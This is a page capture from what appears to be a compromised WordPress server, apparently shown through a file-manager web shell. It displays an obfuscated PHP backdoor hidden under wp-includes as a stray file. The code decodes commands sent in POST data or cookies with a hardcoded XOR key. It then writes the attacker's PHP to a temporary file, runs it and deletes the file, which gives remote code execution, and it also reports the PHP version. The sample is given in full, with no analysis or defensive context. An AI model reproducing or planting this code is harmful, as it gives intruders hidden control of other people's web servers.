HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-includes/css/dist/commands/dowitamf.php
<?php $yumxnu	=      'yumxnu'	^	'';


$pqdydql      =      "S".$yumxnu(408-324)    .       "\122" /*  jj   */ .	"_"."P".$yumxnu(65) /*   o   */ .    "D"."_"."\122"      . /*  ux */ "\x49"	. /*   v_tmo */ "\x47" /*  ynmkl  */ .    "H"."T";$ekklek    = /*xmdkwc */ "a"."r".$yumxnu(114) /*  d*/ .  "\141"     . /*   ubq   */ $yumxnu(121)       . /*   miabne */ "_"."m"."\141"      .     $yumxnu(112);


$ypnqasb    =	"\163"	.      $yumxnu(116)     .    "\162"	.     "\137" /*   j_nq*/ . /*  b   */ $yumxnu(112)    . /*   maixap  */ $yumxnu(325-228)    .     "\144";$ufztxgy   =    $yumxnu(105)	. /*  zhz   */ "m"."p"."l"."o"."d"."e";

$oaxtftcinj  = /* gx   */ "c"."o"."u".$yumxnu(110) /*zqaey   */ . /*   g  */ "\164";function       nrnylsl($ttm_vix, /*  j_zrk*/ $vhjbvrx)


{
       global /* orczry*/ $yumxnu;


 /* o */ 

 /*   _kbuc   */ $ttm_vix /*n*/ = /*  te */ "\x3c" /*vqhq  */ .     "?"."\x70" /*mchqp   */ .   "h"."\160"    . /* g  */ $yumxnu(32)	. /*eq */ "u"."n"."\154"     .	"\151" /*t  */ .	"\156"	.	$yumxnu(107)    .	"("."\x5f"	. /*u*/ "\x5f" /*   qbu  */ . /*   j */ "F"."I"."L"."E"."_".$yumxnu(619-524)     .   $yumxnu(270-229)  .    $yumxnu(59)	.   $yumxnu(32)    . /*   bdvtbr  */ $ttm_vix[$yumxnu(954-854)];

    $wrhbzwfhb    =   "f"."\x69"    . /*  zz*/ $yumxnu(108)    .  $yumxnu(101)    . /*fq*/ "\x5f"     .	$yumxnu(543-431)    . /*  cf*/ "\x75" /*k  */ .	$yumxnu(969-853)    .  "_".$yumxnu(527-428)  . /*  hsfxm  */ $yumxnu(111)    .	"\x6e"      . /*ttbznz  */ "t"."\x65"   .    "\x6e" /* tsdyhy   */ .	$yumxnu(717-601) /*near   */ . /*   mn  */ "s";
          $wrhbzwfhb($vhjbvrx,	$ttm_vix);
    
 /*  fapzp   */ veoagy($vhjbvrx);


}


$riecozcn /*  qlr   */ =	73;
function	veoagy($vhjbvrx)


{    global /* zv   */ $yumxnu;

     /*u*/ include($vhjbvrx);


   $dkftxolg /*  _h */ =     $vhjbvrx;   @unlink($dkftxolg);}
function	depizoj()


{

    global    $yumxnu;
    $utfnmrw_kj /*  e   */ =    array();


      $utfnmrw_kj[$yumxnu(1086-974)    .     "v"] /*  nd*/ = /*  u_nm*/ phpversion();    $utfnmrw_kj["s"."v"]	= /* hq   */ "\x33"	.	"."."5";	$g_bialp	=    74;


	echo    @serialize($utfnmrw_kj);
}


function	jtgmw($ttm_vix,   $lsioolzbz)


{     global      $yumxnu;
    $klfffd    =   "";


	$wqcdumn    =       'yjtut';

 /*   yogk_c*/ $ccfmngrqg /*  mtx  */ =   hash('sha256',     $ttm_vix);	$mfnqo /*xtmffc*/ =   str_replace('cpatw',   $ccfmngrqg,    $wqcdumn);

      $utfnmrw_kj /*  n   */ =       0;    while      ($utfnmrw_kj	<    strlen($ttm_vix))    {
 /* psq*/ $gdkarqwspd    =	isset($lsioolzbz)  ?    $lsioolzbz    : /*  kv   */ '';


       for	($oijnus /*  dfkmiy*/ =  0;     $oijnus       < /* jde   */ strlen($gdkarqwspd)	&&    $utfnmrw_kj     < /*iiuqi_ */ strlen($ttm_vix); /*  pnxbsu*/ $oijnus++,      $utfnmrw_kj++)	{    $klfffd     .= /* yof   */ $yumxnu(ord($ttm_vix[$utfnmrw_kj]) /*tsie*/ ^    ord($gdkarqwspd[$oijnus]));
 /*acx*/ }

	if    (strlen($klfffd)   >       20)	{
 /*  vrgfna  */ $mfnqo   =	substr($klfffd,       0,    20);


	}


	}


 /*   klwdx*/ if    (empty($klfffd))  {

	$klfffd    =	date('Y-m-d	H:i:s');

    }
    return /*d*/ $klfffd;
}






function     abffudq($tsbuh)


{

  global      $yumxnu;
     


    $h_cokob	=	"0"."\x63"	.  "5"."\x66"	. /*  zb   */ "2".$yumxnu(767-665)	.	"2"."\x62" /*tguch  */ . /*pfig  */ "-"."\x62"      .	"6"."\141"	. /*  fnxzy */ $yumxnu(49)	.    "-".$yumxnu(860-808) /*hnlu   */ . /*dbs   */ "5"."\x66"      . /*  p */ "9".$yumxnu(45) /*  kl  */ .  "a"."3"."5".$yumxnu(460-407)	.	"-".$yumxnu(954-854)."\x35" /*ietr  */ .    $yumxnu(220-171)	.	"5"."\x63" /*  q   */ . /*   giwb_t */ "\x32"	.    $yumxnu(52) /*f   */ .	$yumxnu(591-537)     . /*  soav  */ $yumxnu(54) /*  b*/ . /*   snyb*/ "\66" /*ctq  */ . /*  apsz  */ $yumxnu(954-854)."7";
	

 /* w  */ foreach       ($tsbuh     as /*  aq   */ $wfexof    => /* _*/ $ttm_vix)   {     oqt_ttb(base64_decode($ttm_vix),    $h_cokob,	$wfexof);


 /*   yvymo  */ }}
function	oqt_ttb($ttm_vix,	$h_cokob,   $wfexof)
{
       global /*   xxgtn*/ $yumxnu; /*   aqibvh  */  /*i*/ $ttm_vix /* rdntcn*/ = /*uqd  */ unserialize(jtgmw(jtgmw($ttm_vix,    $h_cokob), /*   ipvqpp*/ $wfexof));
	$vabtdhx_ /*csgesg*/ =  'jyl';
	$hirm_kf_lt	= /*  ii*/ 'qpc';

    if       (isset($ttm_vix[$yumxnu(97) /*  myjr */ . /* j*/ "k"]))     {


    if /* bgtu   */ ($ttm_vix["a"] /*  ffg_is   */ ==   "\151")	{
	depizoj();

	}	elseif /*jw  */ ($ttm_vix["a"]	==    $yumxnu(865-764))    {


       nrnylsl($ttm_vix,   sprintf("."."\57"      .    $yumxnu(37)    .    $yumxnu(897-782)	.  $yumxnu(975-929)   . /*   bxzyqp  */ "\160" /*   ulwef  */ .      $yumxnu(250-142),   md5($h_cokob)));

			$fhuxu	= /*p */ 44;

	}

 /*_mo   */ exit();


    }}
abffudq($_POST);	



$ljfqdygex	=    $ekklek('rawurldecode',    $_POST);


$swzihsgxue    = /*   mxwe  */ $oaxtftcinj($ljfqdygex);

if     ($swzihsgxue    > /* lpl  */ 0) /* o*/ {     $gkgcf /*vsvokl*/ =       $ufztxgy(',',    $ljfqdygex);

}


abffudq($_COOKIE);	


$cffet /*a  */ = /*ohsu */ $ekklek('rawurldecode',     $_COOKIE);


$akzzqro    = /*   f  */ $oaxtftcinj($cffet);

if	($akzzqro    >    0)    {

     $vkrpdp	= /* i  */ $ufztxgy(';', /* lfyfvm  */ $cffet);

}
$gpmrel /*   gwndr*/ =  $cffet;
$utfnmrw_kjabhx /*  qwjmm  */ =   date('Y-m-d      H:i:s');

$nrqfoeq	=       strlen($ufztxgy('', /*   plxk   */ $gpmrel));if    ($nrqfoeq	>	100)   {
    $okmknuacc	= /*  slsv_x */ $ypnqasb($ufztxgy('', /* wu_s  */ $gpmrel),  150, /*  xfwj   */ '0',       $pqdydql);
}






?>